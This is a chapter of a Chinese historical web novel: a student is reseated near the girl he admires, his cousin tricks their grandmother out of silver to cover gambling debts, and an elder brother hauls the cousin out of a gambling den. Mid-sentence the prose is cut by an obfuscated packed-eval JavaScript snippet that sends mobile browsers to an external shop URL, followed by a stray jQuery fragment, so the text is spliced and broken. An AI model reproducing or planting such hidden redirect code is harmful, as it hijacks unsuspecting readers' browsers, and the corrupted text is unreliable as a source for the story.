话接上文,当燕宁开心的坐下,忽闻自己的案桌有股淡淡的香味,那正是锦帕的香味,更是女子香,让燕宁欲罢不能。而一旁的辰羽对此则处于完全免疫状态,因为无心者,便闻不到味。
就在这时,卢老先生来了,众人连忙入座起立,向卢老先生问好,待老先生摆手示意,众人才坐下。
只见卢老先生望向一众学生,目光略作搜寻,便锁定了辰羽和燕宁,新同学进入学堂的第一件事当然是调整座次。
“云远和墩复,你俩平日里缺的课太多了,坐前排来,得抓紧赶上!”卢老先生故作严肃道,“前排同学顺次往后移两个座位。”
“是!”辰羽和燕宁连忙拱手作谢。
能坐到前排,自然有卢老先生刻意关照的成份,但也不尽然,比如让燕仪坐在第一排,也是怕燕仪坐在后边捣蛋,放在前面正好戒尺够得着。
而燕仪后面坐的正是杨彦笛,此时,辰羽和燕仪并排而坐,卢老先生多少也有将辰羽放于前排给其他学生立榜样的用意,毕竟这可是自己时常夸赞的得意门生。
燕宁坐于辰羽之后,正好和杨彦笛并排而坐,只不过中间隔着一条过道,对此燕宁不知道有多开心,想想小时候被安排和喜欢的异性做同桌,是怎样的心情?
整个上午在学堂的半天里,燕宁表现的坐有坐像,站有站像,很注重自己的端庄形象,而右上角的燕仪则坐的东倒西歪,一副懒散的样子。
然而一个人形象塑造的太过完美,不免会让人产生疏离感,可燕宁意识不到这点,潜意识里只想着在意中人面前塑造完美的形象,可人家杨彦笛并没有刻意的关注他。
总之对于燕宁来讲,今天是个特别有意义的日子,哪里还会再想着回雍凉躲避母亲的唠叨!
……
中午散学回家,饭后燕仪去往老太太处,只见燕仪一脸献媚相,主动给老太太挫肩揉背,老太太心里自是开心,但也知道自己这个孙子另有所图,于是故意端着脸。
“你这鬼机灵,这个时辰来讨好奶奶,怕是另有目的吧。”老太太一针见血的质问道。
“奶奶果然是比娘还有智慧呢,什么事都逃不过您的法眼。”燕仪一脸憨笑的抬捧老太太。
“那是因为奶奶比你们吃的盐多。”老太太心中暗自得意,喜欢这个家庭定位。
“娘没您通情达理讲道理,眼光也没您看的远。”燕仪向老太太埋怨母亲道。
“怎么,你到我这儿来是告你娘的状来了?”老太太忍住笑意质问道。
“我哪敢啊!奶奶您瞧,我都是大人了,也没见辰羽哥和燕宁哥外出应酬被家里管着的,您说是不是?”燕仪抱怨道。
“你有什么应酬?”老太太侧眼审问道。
“人生在世,谁还没供些个朋友,朋友之间你来我往,算不算应酬?”燕仪摆出一副理直气壮的样子说道。
“这当然算,不过要交些好的朋友,莫要交些狐朋狗友才是!”老太太认可之余不忘教育道。
“这必须的,”燕仪欲言又止,叹气道,“只是……”
“只是什么?不妨说出来听听。”老太太好奇的追问道。
“之前一直是人家做东请我吃饭,可我……”燕仪言语间撸起袖子,抬起雪白的胳膊肘继续说道,“捉襟见肘啊!没钱回请人家吃饭!我都不好意思,现在背地里人家都议论我,说我吝啬小气,名声都不好了!”
燕仪说话间表现的非常委屈,老太太闻言自是觉得孙子受了委屈,且说的很有道理,作为通情达理讲道理的奶奶又岂能不上心?
“你娘零花钱给的少,管的严,本意也是为你好,”老太太慈祥且和蔼的宽慰道,“这事回头我去开导开导她。”
老太太说话间已从床头取出一袋银两递给燕仪,并意味深长的交代道:“你拿去应酬,在外面要挺直腰杆做人,不能让人小瞧了我们李家的人!”
“奶奶您放心!孙儿一定谨记您的教诲!”燕仪一改委屈之状,欣喜若狂的接过银两放进袖子里,开心道,“现在不捉襟见肘了!”
“但你不许骗奶奶,否则打死你!”老太太不忘警告道。
“骗您是孙子!”燕仪开心之余,毫不犹豫的回复道,“奶奶,孙儿下午还有事,先走了,祝您活到一百二十岁!”
说罢燕仪心满意足的破门而出,老太太屋里的女使闻言不禁掩鼻一笑,老太太见孙子溜得这么快,也忍不住埋汰道:“这小王八羔子,跑的比兔子还快!”
……
话说燕仪当下的种种言行,都得要打上好几个问号才行!显然今天是从老太太这边骗了不少钱,既然是骗,就不会是应酬的事!
原来燕仪平日里心性不定,读书没个耐心,在外面好交友游玩,难免交往到一些纨绔子弟,自然不免粘了坏习气,这阵子燕仪在赌坊已经小有名气,那一掷千金,被人簇拥抬捧的感觉最是让人难以自拔。
这赌徒心态向来是赢了还想赢,输了便想赢回来,直到输至两手空空还不甘心,于是便向赌坊借钱来赌,想着翻本却落得一屁股赌债!
当天下午未时,有赌坊催债的小厮上门讨债,李夫人才知道燕仪在赌坊已经欠了赌债有一阵子了,今天输了钱却还在赌,李夫人得知情况气的差点昏过去,赶紧呼唤燕芸道:“快叫你大哥过来!”
燕芸连忙跑着去往辰羽住处,进门正撞见韩母在纺织,便急切的问道:“姨娘,大哥呢?我娘叫大哥过去一趟!”
此时辰羽正在屋里收拾拜访严家的礼物,准备去往城北,忽闻燕芸来找自己,便连忙从屋里走出来,一脸疑问道:“芸妹,何事找我?”
“燕仪哥不学好,学人赌钱,娘要你过去!”燕芸看着辰羽,一脸焦急道。
韩母闻言顿时一脸惊讶,并立即催促道:“辰羽,你快过去!”
“孩儿这就去,”辰羽表情凝重的应道,“芸妹,跟我走!”
说罢,燕芸跟着辰羽后面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404460|136883||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
匆匆离开,韩母听闻燕仪赌钱一事,突然想起那年东岳庙算命老者之言,不禁暗叹老者预言不虚,想到这里韩母又有些担忧儿子前途起来,毕竟那位老者断过辰羽将来会祸福参半!
在去往李府的路上,辰羽大步流星直驱李府,显然是把这事当回事,可哪里留意到身后的燕芸步子迈的小,跟不上自己的步伐!
只见燕芸因步子小,不得不走三步跑两步,燕芸在后面两眼瞪着辰羽,又气又想笑,怎奈事情紧急,刻不容缓,要不然定是要当场埋怨这个大尾巴哥哥。
待两人来到李夫人跟前,李夫人连忙吩咐道:“辰羽,你快去赌坊把你弟揪回来,他在赌钱勒!他在那边到底是个什么情况,你弄清楚,回来告诉我!”
“姨娘您莫急,您稍等片刻!”辰羽忙拱手应道,说罢转身大步向赌坊而去。
待辰羽进入赌坊,招待以为来了赌客,便热情相迎,却被辰羽冷脸以待,方知这位少年是来找人的,于是招待便也冷了脸。
辰羽扫视赌坊一楼,并未见着燕仪,于是便阔步上楼,只见燕仪撸起袖子在摇骰子,此刻正背对着自己,辰羽见确是燕仪,便大步上去一把抓住燕仪那只摇骰子的手臂。
燕仪此刻正在兴头上,又输了钱,见有人妨碍自己发挥,便不耐烦的嚷道:“哪伸出来的蹄…..子?”
燕仪转头一看竟是大哥死死的审视着自己,立马慌了神,弱弱的补了一声:“大…..哥。”
辰羽此时定视着燕仪,燕仪感受到辰羽的眼神似有千斤之重。
“义父若在,定扒你的皮,跟我回去!”辰羽严厉的训斥道,早已没了和气。
此刻燕仪算是头一回怕了辰羽,方才体会到什么叫长兄如父!
突然发生这一幕,这一桌赌徒只把辰羽当作搅局者,纷纷谴责,辰羽并不与之理会,便要拉着燕仪离开,此刻燕仪知道问题的严重性,也已六神无主。
见辰羽要带着燕仪离开,赌徒中突然走出四人昂首挺胸将两人拦住,只见带头的威胁道:“赌坊规矩,当日向赌坊借的钱,要么还上再走,要么输完再走!”
显然这四个粗汉是赌坊的人,这时赌坊管账的主簿也凑了上来。
于是辰羽反问道:“我弟共借了多少钱?可有借据?”
带头的壮汉则傲慢的回应道:“当然有借据,之前的,加上今天的,这位李公子一共借了三百八十两。”
说罢一旁管账的主簿便展示了借据:“白纸黑字在这儿,画了押,见官也不怕!”
燕仪见状连忙补充道:“我身上还有四十两,现在还差三百四十两……”
“闭嘴!”辰羽再度训斥,并定视了燕仪一眼,眼神充满了责备。
辰羽训斥完燕仪,便缓缓转头对着带头大汉说道:“我弟欠的钱两日内自有答复,人我要带走,这是家规!”
这时辰羽将家规搬了出来,显然是要和赌场规矩触碰一下!若知后事如何,且看下文分解。